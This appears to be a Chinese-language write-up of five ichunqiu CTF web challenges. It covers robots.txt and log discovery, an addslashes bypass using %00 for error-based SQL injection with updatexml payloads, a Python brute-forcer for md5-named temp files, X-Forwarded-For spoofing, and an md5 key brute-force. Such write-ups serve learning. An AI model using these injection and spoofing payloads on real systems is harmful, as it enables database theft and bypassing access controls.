i春秋ctf 1-5詳解

一、robot

1、我們看到是robot首先想到的就是去訪問robots.txt文件,一去訪問發現果然存在此文件,裏面包含兩個文件目錄,逐個訪問,只有admin/3he11.php能訪問,但是頁面無任何提示查看源碼就可以找到flag了
這裏寫圖片描述

二、seelog

1、首先訪問這個IP,進去發現頁面提示“本站是內部網站”,
2、回頭看題目是seelog,就是看日誌,我們試着訪問以下log這個目錄,發現存在,並且還有兩個日誌文件可以下載,既然他提示是內網,那麼就是內部網絡能夠訪問,並且狀態碼是200,我們就在access.log文件中找狀態碼是200的記錄。發現一條記錄wojiushihoutai…,複製下來訪問就可以看到flag了這裏寫圖片描述這裏寫圖片描述

三、VID

1、訪問網頁出現一串英文,不是很理解,查看源碼發現後面隱藏了一個index.php.txt,訪問之。
2、訪問了看了也不是很理解,大概就是說用get方式傳三個參數,分別是flag1,flag2,flag3,分別對應頁面的三段英文字母
這裏寫圖片描述
3、訪問了提示我們下載一個zip文件,下載下來打開看是頁面的註冊,登錄界面,但是這個存在sql注入,我們先分析代碼

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
    $db = new mysql_db();
    $username = $db->safe_data($_POST['username']);
    $password = $db->my_md5($_POST['password']);
    $number = is_numeric($_POST['number']) ? $_POST['number'] : 1;

    $username = trim(str_replace($number, '', $username));

    $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";

這裏username處存在注入,他只進行了safe_data處理,我們跟進這個函數

   public function safe_data($value){
        if( MAGIC_QUOTES_GPC ){
            stripcslashes($value);
        }
        return addslashes($value);
    }

這個函數的意思就是不管是否開啓魔法函數都會對單引號進行轉義。那我們就要考慮怎麼去把這個“\”去掉。我們再看代碼

 $username = trim(str_replace($number, '', $username));

這個代碼的意思是在username中找我們輸入的車牌號“number”,如果找到就替換成空,因爲usename進過safe_data函數之後會對單引號進行轉義,那我們就需要構造語句對“\”進行轉義,然後單引號就是單引號而不會被轉義。
4、這裏先講一個%00,先看代碼

<?php
$A=$_GET['a'];
echo "A".$A."<BR>";
$A=addslashes($A);
print $A
?>

我們傳入參數a=%00,然後輸出是這樣的,我們結合用number替換usename中的字符的函數就可以剩下一個“\”去轉義轉義單引號的“\”。
這裏寫圖片描述
5、抓包放到repeater模塊進行重放。
這裏寫圖片描述

number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&password=123&submit=Submit+Query  //爆表

number=0&username=%00' and updatexml(1,concat(1,substr((select * from flag),1,15)),1)#&password=123&submit=Submit+Query   //爆flag

四、天下武功唯快不破

1、先訪問網站,出現提示代碼

 <?php 
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
  $txt = file_get_contents('flag.php');
  $filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
  file_put_contents($filename,$txt);
  sleep(10);
  unlink($filename);
} 

這個代碼的意思就是我們在訪問這個網頁的時候回將flag存在一個txt文件中,但是這個txt文件的名字是由1到999隨機生成的數字經過MD5加密之後拼接的,所以我們要自己寫一個python腳本。

import hashlib,requests
def ww(url):
    a=requests.get(url)
    if a.status_code==200:
        a.encoding="utf-8"
        print(a.text)
for i in range(1,1001):
    a=hashlib.md5(str(i)).hexdigest()
    url="http://106.75.26.211:3333/u/"+a+".txt";
    ww(url)

我們訪問這個網站後就運行腳本,因爲這個txt文件只存在10秒,所以可能需要多嘗試幾次。
這裏寫圖片描述

五、fuzzing

1、訪問提示“nothing”,抓包發送到repeater模塊,重放出現提示是一個大的內部網絡就是10.10.10.10嘛
這裏寫圖片描述
2、構造X-Forwarded-For: 10.10.10.10,在發包,提示訪問m4nage.php,注意訪問這些都要加X-Forwarded-For: 10.10.10.10
這裏寫圖片描述
3、訪問m4nage.php提示如下圖
這裏寫圖片描述
4、嘗試進行get和post發送key參數,發現在用post發包時有提示,key是由前面的i春秋加後面的5個字符,寫個腳本匹配
這裏寫圖片描述

a=string.lowercase + string.digits 
b=["ichunqiu"]
for i in a:
    for j in a :
        for k in a :
            for y in a :
                for x in a :
                    if hashlib.md5("ichunqiu"+i+j+k+y+x).hexdigest()=="5a2a7d385fdaad3fabbe7b11c28bd48e":
                        print ("ichunqiu"+i+j+k+y+x)
                        break

得出key然後post發包
這裏寫圖片描述
5、更具提示訪問xx00xxoo.php,再訪問0.txt得到解密的源碼,複製下來再本地搭建php,傳入對應參數得出flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章